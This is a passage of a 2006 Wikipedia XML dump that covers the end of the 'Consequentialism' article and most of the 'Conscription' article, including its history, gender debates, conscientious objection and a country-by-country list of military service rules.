No less a person than [[Jeremy Bentham]], the &quot;founder&quot; of [[Utilitarianism]], regarded animals as a serious object of moral concern, arguing that they evinced at least some response to pleasure and pain, and thus, the effect a certain course of action would have on animals was directly relevant{{smref|Ben}}. More recently, [[Peter Singer]] has argued that it is unreasonable that we do not treat animals in the same way we are inclined to treat human beings{{smref|Sing}}.

Some [[environmentalism | environmentalists]] and [[ecocentric | ecocentrists]] hold that the entire environment or ecosystem to be the relevant object of concern.  Thus, an action can only be considered acceptable if it has a positive (or at least non-negative) impact on the environment a particular ecosystem. Theoretically, even the entire universe might be the relevant object of concern, the best action being the one that brings the most value into the universe, whatever that value might be.

==Varities of Consequentialism==

Consequentialism is a nefariously multi-headed beast, capable of adopting quite a variety of guises. Nevertheless, there are certain consequentialist theories that form paradigms against which other forms of consequentialism may be understood.

===Utilitarianism===
{{main|Utilitarianism}}
[[Utilitarianism | Hedonistic Utilitarianism]] is, historically, the paradigmatic example of a consequentialist moral theory. It holds that right action stems from the maximization of happiness for all agents. &quot;Happiness&quot; on this account is defined as the maximization of pleasure and the minimization of pain. Thus, this form of utilitarianism holds that the resulting happiness determines the value of any action, and, further, that what matters is the aggregate happiness; the happiness of everyone and not the happiness of any particular person.

[[John Stuart Mill]], in his exposition of hedonistic utilitarianism, proposed a hierarchy of pleasures, meaning that the pursuit of certain kinds of pleasure it placed higher than the pursuit of other pleasures. Thus he hoped to alleviate problems such as someone deriving pleasure from killing.

Contemporary utilitarians, such as [[Peter Singer]] are generally concerned to maximise the satisfaction of preferences, hence the expression &quot;[[preference utilitarianism]]&quot;.

===Ethical Egoism===
{{main|Ethical egoism}}
[[Ethical egoism]] can be understood as a consequentialist theory according to which the consequences for the individual agent are taken to matter most. Thus, egoism may license actions which are good for the agent, but are detrimental to general welfare. However, some advocates of egoism, most notably [[Ayn Rand]], have argued that the pursuit of selfish gains ultimately works out best for everyone.

===Rule Consequentialism===

Rule consequentialism is a theory that is sometimes seen as an attempt to reconcile [[deontology]] and consequentialism.

&lt;!--

===Bio-centric===

===Ecocentric===

===Etc.===--&gt;

==Consequentialism contrasted with other moral theories==

===Deontology===
Consequentialism is often contrasted with [[Deontological ethics|deontology]]. Deontological theories tend to focus on kinds of actions rather than the particular consequences of those actions. Consequently, a deontologist might argue that we should stick to our duty regardless of the consequences. Thus, [[Kant]] famously argued that we had a moral duty to tell some one planning a murder where their would-be victim is. 

However, consequentialist and deontological theories are not necessarily mutually exclusive. For example, Sen advances a theory that claims that what is to be maximized is the obedience to moral rules{{smref|Sch1}}. In the same volume, Scanlon advances the idea that human rights, which are commonly considered a &quot;deontological&quot; concept, can only be justified with reference to the consequences of having those rights{{smref|Sch1}}. Similarly, Nozick argues for a theory that is mostly consequentialist, but incorporates inviolable &quot;side-constraints&quot; which restrict the sort of actions agents can contemplate doing{{smref|Sch1}}.

===Virtue Ethics===
Consequentialism can also be contrasted with [[Aretaic turn|aretaic]] moral theories such as [[virtue ethics]]. In fact, Anscombe's paper which coined the term &quot;consequentialism&quot; also began the discussion of [[aretaic turn]] theories in modern analytic philosophy. 

Whereas consequentialist theories, by definition, posit that consequences of action should be the primary focus of moral theories, [[Aretaic turn|aretaic moral theory]] insists that character rather than the consequences of actions should be the focal point. The contention is that consequentialist theories tend to totally disregard the development of moral ''character''. Thus, [[Phillipa Foot]], in an influential paper, argues that consequences in themselves have no moral content, unless that content has been provided by a virtue such as benevolence{{smref|Sch1}}.

However, this distinction is not absolute. Consequentialist theories can consider character in several ways: 
* Effects on character may be regarded as a relevant consequence.
* Virtues might be seen as leading to the best consequences.
* The maximization of virtue (or a particular virtue) might itself be the goal of a consequentialist theory.

==Criticisms of Consequentialism==
Consequentialism has been criticized on several counts. According to [[G.e._Moore|G.E. Moore]] in ''Principia Ethica''{{smref|Mor}}, consequentialism (or at least classical utilitariansim) commits &quot;the [[naturalistic fallacy]]&quot; by assuming that &quot;the good&quot; can be adequately defined by some &quot;natural&quot; property or set of natural properties. This, he claims, can be demonstrated because for any X a consequentialist might propose as being innately good we can always ask &quot;But is X good?&quot; Thus we must have a tacit ''understanding'' of moral goodness that is different from any possible natural property or set of such properties.

==Bibliography==

*{{note|Ben}}{{cite book | title = An Introduction to the Principles of Moral Legislation | year = 1996 |author = Bentham, Jeremy | publisher = Oxford University Press | location = Oxford | id = ISBN 0198205163 | url = http://www.la.utexas.edu/research/poltheory/bentham/ipml/ipml.toc.html}}
*{{note|Dar}}{{cite book | title = Consequentialism | year = 2002 | author = Darwall, Stephen (Ed.) | publisher = Blackwell | location = Oxford | id = ISBN 0631231080}}
*{{note|Hon}}{{Citepaper | Author = Honderich, Ted | Title = Consequentialism, Moralities of Concern and Selfishness | PublishYear = 2003 | URL = http://www.ucl.ac.uk/~uctytho/ted9.htm}}
*{{note|Mor}}{{cite book | title = Principia Ethica | year = 1903 | author = Moore, G. E. | publisher = Cambridge University Press | location = Cambridge | id = ISBN 052144848 | url = http://fair-use.org/g-e-moore/principia-ethica}}
*{{note|Sch1}}{{cite book | title = Consequentialism and Its Critics | year = 1988 | author = Scheffler, Samuel (Ed.) | publisher = Oxford University Press | location = Oxford | id = ISBN 0198750730}}
*{{note|Sch2}}{{cite book | author = Scheffler, Samuel | title = The Rejection of Consequentialism: A Philosophical Investigation of the Considerations Underlying Rival Moral Conceptions | year = 1994 | publisher = Oxford University Press | location = Oxford | id = ISBN 0198235119}}
*{{note|Sing}}{{cite book | title = Unsanctifying Human Life | author = Singer, Peter | editor = Helga Kuhse, ed. | year = 2002 | publisher = Blackwell | location = Oxford | id = ISBN 0631225072}}

==See also==

*[[Ethics]]
*[[Egoism]]
*[[Utilitarianism]]
*[[Ethics and evolutionary psychology|Ethical fitnessism]]
*[[Deontological ethics|Deontology]]
*[[Virtue ethics]]
*[[Altruism (ethical doctrine)|Altruism]]

===Famous Consequentialists===

*[[Jeremy Bentham]]
*[[R.M. Hare]]
*[[Amartya Sen]]
*[[Henry Sidgwick]]
*[[Peter Singer]]
*[[John Stuart Mill]]

==External links==

*Stanford Encyclopedia of Philosophy:
** [http://plato.stanford.edu/entries/consequentialism/ Consequentialism]
** [http://plato.stanford.edu/entries/consequentialism-rule/ Rule Consequentialism]

*[http://www.utilitarianism.com/ Utiliarianism Resources]

[[Category:Meta-ethics]]
[[Category:Ethics]]
[[fi:Teleologinen etiikka]]</text>
    </revision>
  </page>
  <page>
    <title>Conscription</title>
    <id>5735</id>
    <revision>
      <id>42035823</id>
      <timestamp>2006-03-03T10:17:54Z</timestamp>
      <contributor>
        <username>China Crisis</username>
        <id>207401</id>
      </contributor>
      <minor />
      <comment>/* The gender-issue */  space</comment>
      <text xml:space="preserve">{{conscription}}
'''Conscription''' is a general term for involuntary labor demanded by some established authority, but it is most often used in the specific sense of government policies that require (very often, male only) citizens to serve in their [[military|armed forces]]. It is known by various names &amp;mdash; for example, the most recent conscription program in the [[United States]] was known colloquially as &quot;'''[[Conscription in the United States|the draft]]'''&quot;. Many nations do not ''maintain'' conscription forces, instead relying on a volunteer or professional military most of the time, although many of these countries still reserve the possibility of conscription for wartime and &quot;crises&quot; of supply.

(Historically, &quot;conscription&quot; has also sometimes been used as a general term for non-military [[Involuntary servitude|involuntary labour]] demanded by some established authority; for example, [[Old Testament]] commentaries use the term to describe the levies of labour used to build the Temple.)

In the [[United Kingdom]], [[Australia]], [[Canada]] and elsewhere the term ''conscription'' is generally used only during wartime.  [[National Service]] was the term used during peace-time in the [[United Kingdom]] and [[Singapore]]. In [[New Zealand]] the term [[Compulsory Military Training (in New Zealand)| Compulsory Military Training]] was used.   In Japan during [[World War II]], Japanese women and children were conscripted to work in factories.

The term &quot;conscription&quot;  refers only to the mandatory service; thus, those undergoing conscription are known as &quot;conscripts&quot;  or &quot;selectee&quot; in the United States (from the [[Selective Service System]] or the [[Selective Service Initiative]] announced in [[2004]]).

In the [[USA]] the term &quot;enlisted&quot; is often used to refer only to those who have volunteered for service in roles other than as [[commissioned officers]].

==History==
===The invention of modern conscription during the French Revolution===
Modern conscription was invented during the [[French Revolution]], allowing the [[French Republic|Republic]] to defend itself from European monarchies' attacks. Deputy [[Jean-Baptiste Jourdan]] gave its name to the [[September 5]], [[1798]] Act, whose first article stated: &quot;Any French is a soldier and owes himself to the defense of the [[patriotism|nation]]&quot;. It enabled the creation of the ''[[Grande Armée]]'', what [[Napoleon I of France|Napoleon Bonaparte]] called &quot;the nation in arms&quot;, which successfully battled European professional armies.

According to philosopher [[Michel Foucault]], conscription is one of the forms taken by &quot;disciplinary institutions&quot;, along with hospitals, schools and prisons. [[Louis Althusser]] has also underlined how [[Machiavelli]] was one of the first modern theorists to think the relationship between conscription and the creation of a nation, or successfully bolstering [[patriotism]]. Machiavelli despised the use of [[mercenaries]] and professional armies, which at this time were ravaging the divided Italian states.

===Disputes over conscription (WW I, Vietnam War, etc.)===
Conscription, particularly when the conscripts are being sent to foreign wars that do not directly affect the security of the nation, has historically been highly politically contentious in democracies.  For instance, during [[World War I]], bitter political disputes broke out in [[Canada]] (see [[Conscription Crisis of 1917]]), [[Newfoundland and Labrador|Newfoundland]],  [[Australia]] and [[New Zealand]] (See [[Compulsory Military Training (in New Zealand)| Compulsory Military Training]]) over conscription. Canada also had a political dispute over conscription during [[World War II]] (see [[Conscription Crisis of 1944]]). Similarly, mass protests against conscription to fight the [[Vietnam War]] occurred in several countries in the late [[1960s]]. (See also: [[Conscription Crisis]])

In developed nations, the increasing emphasis on technological firepower and better-trained fighting forces, the sheer unlikelihood of a conventional military assault on most developed nations, as well as memories of the contentiousness of the Vietnam War experience, make mass conscription unlikely in the foreseeable future.

[[Russia]] and [[China]], as well as many smaller nations, retain mainly conscript armies.

==The gender-issue==
Some countries which draft women include the [[People's Republic of China]], [[Taiwan]] (ROC), [[North Korea]], [[Peru]], [[Malaysia]], [[Libya]], [[Israel]], and [[Eritrea]]. In [[2002]], [[Sweden]]'s government asked the army to consider mandatory military service for women. Some have considered the practice of excluding women from the draft unfair, because they feel it goes against principles of [[social equality|equality]]. Some simply argue that women can be militarily useful, and that excluding them places an unnecessary limit on resources. During World War II, women were drafted into the armed forces of the United Kingdom and the [[Soviet Union]]. The [[United States]] came close to drafting women into the [[Nurse Corps]] in preparation for a planned invasion of [[Japan]]; the Japanese surrender made this unnecessary.

The non-[[egalitarian]] policy practiced by some countries of drafting men and not women has often been a flash point and source of conflict. This policy is often cited by some [[masculism|masculists]] as an example of an unfair policy which benefits women over men.  Most avowed anti-feminists are strongly opposed to women in combat.{{fact}} Apprehension about the possible conscription of women was a key factor that led to the defeat of the [[Equal Rights Amendment]] in the United States.

Conscription certainly imposes on the freedom of the individual and although some conscripts feel that they benefited from the experience others feel that their time could have been spent more productively pursuing their chosen studies or career paths [http://news.bbc.co.uk/1/hi/world/europe/1682777.stm See BBC news article on the end of French conscription] Individual resentment may also be compounded by the typically low wages paid to conscripts, especially in countries such as [[Greece]]. [[Feminists]] and others calling for more equal treatment of women in society have rarely extended their demands to include a call for equality for women with regards the draft.

The topic of male-only conscription in the UK was the focus of a large number of books, plays and other literature, most of which portrayed the writers experience of conscription in a very negative way, emphasizing the brutality and tedium of military training. Examples include [[Arnold Wesker]]'s ''Chips with Everything'' and ''Ginger You're barmy'' by [[David Lodge]]. In his book, Lodge suggests that the practice of male-only conscription helped to generate sexist attitudes by making it difficult for men to regard those who were excused the rigors of military training as their equals.

==Conscientious objection==
{{main articles|[[Conscientious objection]], [[Antimilitarism]], and [[Conscientious objection throughout the world]]}}
''&quot;It is debasing human dignity to force men to give up their life, or to inflict death against their will, or without conviction as to the justice of their action.&quot;'' -- Albert Einstein, Mahatma Gandhi, et al, in the &quot;Manifesto Against Conscription and the Military System&quot;

A [[conscientious objector]] is an individual whose personal beliefs are incompatible with [[military service]], or sometimes with any role in the armed forces. In some countries, conscientious objectors have special legal status which augments their conscription duties. For example, [[Sweden]] allows conscientious objectors to choose a service in the &quot;weapons-free&quot; branch,  such as an airport [[fireman]], [[nurse]] or [[telecommunications]] technician. Some may also refuse such service as they feel that they still are a part of the military complex. The reasons for refusing to serve are varied. Many conscientious objectors are so for religious reasons&amp;mdash;notably, the members of the [[Peace churches|historic peace churches]] are [[pacifism|pacifist]] by doctrine, and [[Jehovah's Witnesses]], while not strictly speaking pacifists, refuse to participate in the armed services on the grounds that they believe [[Christianity|Christian]]s should be neutral in worldly conflicts.

==Draft evaders==
Not everyone who was conscripted was willing to go to war. Many young people used their family's political connections to ensure that they were placed well away from any potential harm.  They would avoid military service altogether through college deferments.  Others with political influence often joined the military and served in what was termed a [[Champagne unit]].  Others used educational exemptions, became conscientious objectors or pretended to be conscientious objectors.  For others, the most common method of avoiding the draft was to cross the border into another country. People who have been &quot;called up&quot; for military service and who attempted to avoid it in some way, were known as &quot;[[draft-dodger]]s&quot;. U.S. draft-dodgers made their way to [[Canada]] or [[Mexico]]. [[Australia]]n draft-dodgers had greater difficulty leaving their country due to the surrounding ocean.

Many people looked upon draft-dodgers with scorn as being &quot;cowards&quot;, but some supported them in their efforts.

==Draft resisters==
{{main|Antimilitarism}}

The [[Vietnam War]] saw new levels of opposition to conscription and [[National Service]]. Many people opposed to and facing conscription, chose to either plead conscientious objection or to evade the draft by fleeing to a neutral country. A small proportion, like [[Muhammad Ali]], chose to publicly and politically fight conscription. In Australia this was known as the Draft Resistance Movement.

==Countries with mandatory military service (partial list)==
[[Image:Conscription_Map.png|thumb|300px|&lt;li&gt;&lt;font color=&quot;#00d000&quot;&gt;'''Green'''&lt;/font&gt;: No armed services&lt;/li&gt;
&lt;li&gt;&lt;font color=&quot;#0000c8&quot;&gt;'''Blue'''&lt;/font&gt;: No conscription&lt;/li&gt;
&lt;li&gt;&lt;font color=&quot;#ff9000&quot;&gt;'''Orange'''&lt;/font&gt;: Plan for conscription to be abolished within three years&lt;/li&gt;
&lt;li&gt;&lt;font color=&quot;#ff0000&quot;&gt;'''Red'''&lt;/font&gt;: Conscription&lt;/li&gt;
&lt;li&gt;&lt;font color=&quot;#9999999&quot;&gt;'''Gray'''&lt;/font&gt;: No information&lt;/li&gt;]]
A number of countries have '''mandatory military service''':

===Austria===
[[Austria]] has mandatory military service for fit male citizens from eighteen to thirty five years of age. Service lasts for eight months but will be shortened to six months in 2006. Conscientious objectors join the civilian service (''Zivildienst'') for twelve months (reduction to nine months in 2006).Very likely Austria will get an all-volunteer army in 2009.

===Belarus===
[[Belarus]] has mandatory military service for all fit men from eighteen to twenty seven years of age. Military service lasts for eighteen months for those without higher education, and for twelve months for those with higher education.

===Bermuda===
[[Bermuda]], although a dependant territory of the [[United Kingdom]], still maintains conscription for its local force.  Males between the age of eighteen and thirty two are drawn by lottery to serve in [[The Bermuda Regiment]] for a period of thirty eight months.  The commitment is only on a part time basis, however.  Anyone who objects to this has the right to have their case heard by an exemption tribunal.

===Brazil===
Males in [[Brazil]] are required to serve 12 months of military service upon their 18th birthday. Most often, the service is performed in military bases as close as possible to the person's home. The government does not require those planning to attend college or holding a permanent job to serve. There are also several other exceptions, including health reasons, for which one may not have to serve.

===Bulgaria===
[[Bulgaria]] has mandatory military service for male citizens from eighteen to twenty seven years of age. Currently (2004) the duration of the service depends on the degree of education. For citizens studying for or holding a bachelor degree or higher the service is six months, and for citizens with no higher education it is nine months. During the last ten years the duration of service has rapidly dropped (from two years in [[1994]]) and as Bulgaria adopts a professional army mandatory service is expected to be replaced with voluntary service.

===Chile===
[[Chile]] has mandatory military service for all citizens between eighteen and forty five. The duration of service is twelve months for the army and twenty four months for Navy and Air Force.

===China (PRC)===
Theoretically the [[People's Republic of China]] has conscription for both men and women. Women who are conscripted go into the army for two months and learn to use firearms. In practice, military service with the PLA is voluntary; all 18-year-old males have to register themselves with the government authorities, in a way similar to the [[Selective Service System]] of the United States. The main exception to this system applies to potential university students, who are required to undergo military training before their courses commence. An exception is also made for [[Hong Kong]] and [[Macau]], whose residents are exempted from conscription as they are effectively barred from any military service.

===Croatia===
[[Croatia]]n law prescribes military service for male citizens from eighteen to twenty seven years old. The duration of the normal military service is six months ([[as of 2004]]), while conscientious objectors can apply for civil service which lasts for eight months. Conscription is regularly postponed for students until the end of their studies, as long as they apply before they turn twenty eight years of age.

Over the last decade or so, the duration of military service has been halved and civil service was introduced together with the streamlining of the professional army. Should this trend continue, the mandatory service may eventually be completely replaced with voluntary service.

===Cyprus===
[[Cyprus]] has compulsory military service for all Greek Cypriot men between the ages of eighteen and fifty. Military service lasts for twenty five months. After that, ex-soldiers are considered reservists and participate in military exercises for a few days every year. Conscientious objectors can either do thirty three months unarmed service in the army or thirty eight months community work. See official pages by the [http://www.army.gov.cy/index.php?id=76 Greek Cypriot National Guard].
In North Cyprus there is compulsory military service for Turkish Cypriots. The [[Annan Plan for Cyprus]] that was rejected in the [[Cyprus reunification referendum, 2004|2004 reunification referendum]] mandated the demilitarisation of the island and the disbanding of both Greek Cypriot and Turkish Cypriot forces.

===Denmark===
As described in the [http://www.folketinget.dk/pdf/constitution.pdf Constitution of Denmark], § eighty one, [[Denmark]] has mandatory service for all able men. Normal service is four months, and is normally served by men in the age of eighteen to twenty seven. Some special services will take longer. Danish men will typically receive a letter around the time of their 18th birthday, asking when their current education (if any) ends, and some time later, depending on when, they will receive a notice on when to attend to the draft office to be tested physically and psychologically. However some may be deemed unfit for service and not be required to show up.

Even if a person is deemed fit, or partially fit for service, he may avoid having to serve if he draws a high enough number randomly. Persons who are deemed partly fit for service will however be placed lower than those who are deemed fit for service, and therefore have a very low chance of being drafted. Men deemed fit can be called upon for service until their 50th birthday in case of national crisis, regardless of whether normal conscription has been served. This right is very rarely exercised by Danish authorities.

[[Conscientious objector]]s can choose to instead serve six months in a non-military position, for example in [[Redningsberedskabet]] (dealing with non-military disasters like fires, flood, pollution, etc.) or foreign aid work in a third world country. [http://danmark.dk/portal/page?_pageid=34,328944&amp;_dad=portal&amp;_schema=PORTAL].

===Egypt===
[[Egypt]] has a mandatory military service program for males between the ages of eighteen and thirty. Females of comparable age serve in a civilian program. Conscription is regularly postponed for students until the end of their studies, as long as they apply before they turn twenty eight years of age. By the age of thirty a male is considered unfit to join the army and pays a fine. Males with no brothers, or those supporting parents are exempted from the service. Males serve for a period ranging from fourteen months to forty eight months depending on their education; high school dropouts serve for forty eight months during which they finish their high-school education. College graduates serve for lesser periods of time, depending on their education, and college graduates with special skills are still conscripted yet at a different rank and with a different pay scale with the option of remaining with the service as a career.  Some Egyptians evade conscription and travel overseas until they reach the age of thirty, at which point they are tried, pay a $580 fine (as of 2004), and are dishonorably relieved of their obligation to serve in the army. Such an offense, legally considered an offense of &quot;bad moral character&quot;, prevents the &quot;unpatriotic&quot; citizen from ever holding public office.
&lt;!--
maybe unpatriotic is a poor choice of words but this is how they describe it
--&gt;

===Eritrea===
[[Eritrea]] has a mandatory military service program for both men and women aged eighteen through forty. The term of service is eighteen months. There is no alternate service. The Eritrean government is well-known for hunting down and torturing suspected draft evaders.  Draft evaders often flee the country to nearby countries.

===Finland===
As of 2004, [[Finland]] has mandatory military service for men of at least six months (180 days), depending on the assigned position: those trained as officers or NCOs serve for twelve months (362 days), specialist troops serve for nine (270 days) or twelve months, and other rank and file serve for six months. Unarmed service is also possible, and lasts eleven months (330 days). Since [[1995]], women have been given the option of voluntary military service. During the first fifty six days, women have an option to quit the service without having to provide a reason. After serving for fifty six days, they fall under the same obligation to serve as men.

[[Non-military service]] of thirteen months (395 days) is available for men whose conscience prevents them from serving in the military. Men who refuse to serve at all are sent to prison for 6.5 months (197 days) or half the time of their remaining non-military service at time of refusal. In theory, male citizens from the demilitarized [[Åland]] region have to serve in [[customs office]]s or [[lighthouse]]s, but since this service has not been arranged, they are always exempted. [[Jehovah's Witnesses]]' service is postponed every two years until they, at the age of twenty eight, are exempted.

Military service has been mandatory for men throughout the history of independent Finland since [[1917]]. Soldiers and civil servicemen receive a daily salary of 3.60 [[Euro|€]] (days 1-180), 5.75 € (days 181-270) and 8.25 € (onward from day 271).

After the training part of the service is done, the soldier enters the reserve. The reservists can be called to mandatory refresher exercises. Rank and file serves forty days maximum, specialists seventy five days and officers one hundred days. For this, a salary of about fifty euro per day is paid. The service is mandatory; it is not possible to refuse an order to attend the refresher exercise.

The length of non-military service has been criticized as being punitive by [[Amnesty International]] because it is over twice as long as the most common alternative, six-month military service. Several motions to shorten it have been made in the [[Finnish Parliament]] but none have passed.

===Germany===
:''Main article at [[Conscription in Germany]]''

[[Germany]] has mandatory military service of nine months for men. Women may volunteer and are allowed to perform - almost - the same jobs as men. A conscientious objector may petition for permission to do civilian alternative service, &quot;civil-service&quot; (''Zivildienst'') instead for nine months, which is usually accepted. A third option is to become a foreign development aide (''Entwicklungshelfer'') for at least eighteen months. Overall, however, during the past few years, the number of men being drafted has declined significantly.

Besides several exceptions, military service is compulsory for all men between the ages of eighteen and twenty three years. Those who are engaged in educational or vocational training programs prior to their military assessment are allowed to postpone service until they have completed the programs and can be called upon to perform their national duty at any time thereafter.

===Greece===
:''Main article at [[Conscription in Greece]]''

As of 2004, [[Greece]] (Hellenic Republic) has mandatory military service of twelve months for men. However, it is developing a professional army system, and it is widely expected that the mandatory military service will be cut to six months by [[2008]] or even abolished completely. Although women are accepted into the Greek army, they are not obliged to join as men are. Soldiers receive no health insurance, but they can receive medical support during their army service, including hospitalization costs. They receive a symbolic salary of approximately nine [[euro|euros]] per month for privates, twelve [[euro|euros]] for the rank of draft corporal and draft sergeant, and 600 [[euro|euros]] as a draft cadet. The wages are not sufficient to sustain a draftee serving his tour away from his place of residence and most draftees depend financially on their parents to support them financially while they are on their tour.

===Israel===
[[Israel]] has mandatory military service for both Jewish men and women.  All Israeli Jews are conscripted, except [[Haredi Judaism|Haredim]], who can choose to serve but mostly do not.  Israeli Arabs are exempt from service, although they can volunteer and some communities such as the [[Druze]], [[Bedouin]], and [[Circassians]] do serve.

Young women can generally not serve if they are married, pregnant, or otherwise - Israel is generally very lenient with Israeli women when it comes to the draft.  However, most that can, do serve out of patriotism.

Typically, men serve for 36&amp;nbsp;months, women serve for 24&amp;nbsp;months. ''See also: [[Israel Defence Forces]].''

There are limited number of ''[[Refusenik (Israel)|refusenik]]s'' who resist military service in general, or who refuse to serve in the [[West Bank]]. Some of them serving short prison terms as a result (no more than a few months). ''See also: [[Refusal to serve in the Israeli military]].''

In addition, men are liable for up to a month a year of reserve duty (miluim) until they are fifty. Women are liable for it until they are twenty four, married, or pregnant.

===Korea, South===
As of 2004, [[South Korea]] has mandatory military service of twenty four months. See: [http://kn.koreaherald.co.kr/SITE/data/html_dir/2002/12/14/200212140004.asp].

===Lebanon===
[[Lebanon]] previously had mandatory military service of one year for men. On [[4 May]] [[2005]], a new conscription system was adopted, making for a six-month service, and pledging to end conscription within two years. See [http://www.lebarmy.gov.lb/English/FlagService.asp Official Information from Lebanese Army].

===Malaysia===
As of [[2004]], [[Malaysia]] has mandatory [[Malaysian National Service|national service]] of three months for a selected group of both men and women. Twenty per cent of 18-year-olds are selected through a lottery system to join this program. Trainees are not trained to use firearms. The first training date was [[February 16]], 2004. See [http://www.khidmatnegara.gov.my Official Information from Malaysia National Service Training Department].

===Mexico===
Currently, all males reaching eighteen years of age must register for military service (Servicio Militar Nacional, or SMN) of one year, though selection is made by a lottery system using the following color scheme: whoever draws a black ball must serve as a &quot;disponibility reservist&quot;, that is, they must not follow any activities whatsoever and get their discharge card at the end of the year.  The ones who get a white ball serve in a Batallón del Servicio Militar Nacional (National Military Service Battalion) composed entirely of one-year SMN conscripts.  Those with a community service interest may participate in Literacy Campaigns as teachers, or as Phys-Ed instructors. Military service is also (voluntarily) open to women.  In certain cities, such as Mexico City and Veracruz, there is a third option: a red ball (Mexico City) and a Blue ball (Veracruz), which
entails serving a full year as a recruit in a Paratrooper Battalion in the case of Mexico City residents, or a Infantería de Marina unit (Navy Marines) in Veracruz.  In other cities which have a Navy HQ (such as Ciudad Madero), it is the Navy which takes charge of the conscripts, instead of the Army.

===Norway===
[[Norway]] has mandatory military service of eighteen months for men between the ages of eighteen (17 with parental consent) and forty four. The actual draft time is six months for the [[Norwegian Home Guard|home guard]], and 9-12 months for the regular [[Norwegian Army|army]], [[Royal Norwegian Air Force|air force]] and [[Royal Norwegian Navy|navy]]. The remaining months are supposed to be served in annual exercises, but very few conscripts do this due to lack of funding to the Norwegian armed forces. The decreased funding and greater reliance on high technology in the armed forces has resulted in only a third of the male population completing the service (since the late 1990's). The remaining two thirds have mostly formally been dismissed after medical tests or obtained deferral of the service due to studies or stays abroad. Many Norwegians consider it unfair that they are the &quot;unlucky&quot; 1/3 that have to complete the compulsory military duty when so many others are dismissed. Others see it as a privilege and there has been reported high competition during the past few years to be allowed to serve. Having completed the draft time is  generally regarded favourably with employers. The Norwegian armed forces will normally not draft a person who has reached the age of twenty eight. In Norway certain voluntary specialist training programs entail extended conscription of one to eight years. [[pacifism|Pacifists]] can apply for [[non-military service]], lasting thirteen months. Women can volunteer for military service in any part of the armed forces.

===Poland===
[[Poland]] has a compulsory service term of nine months for all mature men. However, many of those are considered unfit for mandatory military service during peacetime. Effectively, many tens of thousands of men are drafted each autumn. Alternative service can be requested, e.g. in the [[police]] force. This is only valid if you are not attending an educational facility. Some students can volunteer for military preparations, so they serve in military 6 weeks during their summer break after the finish fourth semester. After joining the European Union, many young men move abroad in order to avoid draft and quite low conditions in the [[Polish Army]]. Also many, facing very high unemployment in the country, join forces voluntarily to serve the term and later gain opportunity to get a well paid jobs in military or police.

===Romania===
[[Romania]] still has conscription. In [[2003]] an amendment to the [[Romanian Constitution|Constitution]] allowed the Parliament to mark the military service facultative and the conscription will end in January 2007. Men serve for twelve months (6 months if they have graduated a form of higher education). [[As of 2004]], conscripts no longer serve in the Romanian Navy.

The Romanian parliament voted in October 2005 to end the draft after the October 2006 &quot;class&quot; of draftees reports for duty. Beginning in January 2007, twenty year-old Romanian men will have to register with the government but the men will only be liable to call up in the case of war. The parliamentary vote formalized one of many military modernization and reform programs Romania agreed to when it joined NATO. By 2012, the requirement for registration will lower to seventeen years of age.

===Russia===
The conscription system was introduced into [[Imperial Russia]] by [[Dmitry Milyutin]] in the [[1870s]]. As of [[2002]], [[Russian Federation]] has a mandatory two-year draft but most Russians avoid it.   The most widely used ways to avoid the military service are:  
* Studying in a university or similar place. All students are free from conscription, but they can be drafted after they graduate (or if they drop out).  Graduated students serve one year as privates, but if they have a military education, they have option to serve two years as officers. Persons who continue postgraduate education, or have a [[doctoral degree]] (Candidate of Sciences) are not drafted.
* Getting a medical certificate that shows that a person is unfit for service. Sometimes such certificates are false and are made for a bribe. 
* Bribing military or civilian officials responsible for draft.
* Just not going to a draft station, draft-dodging. This can be a criminal offence, punishable by up to two years in prison. 
* Not widely used way is having more than two children, or one child younger than three years.
* There are other legal (described in the law) or illegal ways to evade draft. 

In Russia, a person can not be conscripted after he turns twenty seven. 

As a result of draft evasion, Russian generals have complained on numerous times that the bulk of the army is made up of drug-addicts, imbeciles, and ex-convicts, which in turn has lead to an overall decline of the morale and function of the Russian armed services.  Conscripts often face brutal hazing and [[bullying]] upon their enterance into the military known as [[dedovschina]], some dying as a result.  Suicide among Russian conscripts is at an all time high.

See [http://www.spacedaily.com/2002/021206145741.ooyw2y54.html Only eleven percent of Russian men enter mandatory military service].

See also [http://www.soldiersmothers.spb.org/eng/Reports/Testimonies.htm Dedovschina].

See also [http://www.cbsnews.com/stories/2006/01/26/ap/world/mainD8FCIRV80.shtml Russian draftee’s legs and genitals amputated after hazing incident]

===Singapore===
In [[Singapore]], the NS (Amendment) Act was passed on [[14 March]] [[1967]], under which all able-bodied male citizens of 18-21 years of age were required to serve a compulsory military service of two years (down from two and a half years, amended in 2005). Upon completion of full-time NS, they undergo [[reservist]] training cycles of forty days a year for the next ten years.

Singapore, which currently has a mandatory service period of twenty four months, used to have one of the longest mandatory military service periods for males, at thirty months. It also has special policies for ethnic [[Malay people|Malay]]s, because of possible conflicts in allegiances with neighbour [[Malaysia]]. Some of the Malays are drafted into the [[police]] or [[Civil Defense]].

See [[National Service]]

===Sweden===
In [[Sweden]] military service is mandatory for men only. As of 2002, Sweden's government asked the army to consider mandatory military service for women. Less than one third of the country's eligible 19-year-olds are actually drafted each year. See [http://www.news-star.com/stories/062703/New_8.shtml ''Sweden considers mandatory military service for women'']. Men may choose to do unarmed service, for instance as a [[firefighter]]. Generally, unarmed service is longer than armed.

===Switzerland===
[[Switzerland]] has the largest [[militia]] army in the world (220,000 including reserves). Military service for Swiss men is obligatory according to the Federal Constitution, and includes seventeen weeks of basic training as well as annual 3-week-refresher courses until a number of service days which increases with rank (260 days for privates) is reached. Service for women is voluntary, but identical in all respects. Conscientious objectors can choose 450 days of community service instead of military service. Medical deferments and dismissals from basic training (often on somewhat dubious grounds) have increased significantly in the last years. Therefore, only about 33% of Swiss men actually complete basic training.

===Taiwan (ROC)===
{{see also|Conscription in the Republic of China}}
The [[Republic of China]] has had mandatory military service for all males since [[1949]]. Females from the outlying islands of [[Fujian#Quemoy and Matsu|Fuchien]] were also required to serve in a civil defense role, although this requirement has been dropped since the lifting of martial law. In October 1999, the mandatory service was shortened from twenty four months to twenty two months. From January [[2004]], the mandatory service was shortened further. At this point, the duration of mandatory military service is eighteen months. Beginning [[1 January]] [[2006]], the duration will decrease to sixteen months. The ROC Defense Ministry has announced that should voluntary enlistment reach sufficent numbers, the compulsory service period for draftees will be shortened to fourteen months in 2007. Should this trend continue, the service period will be further shortened to twelve months in 2008.

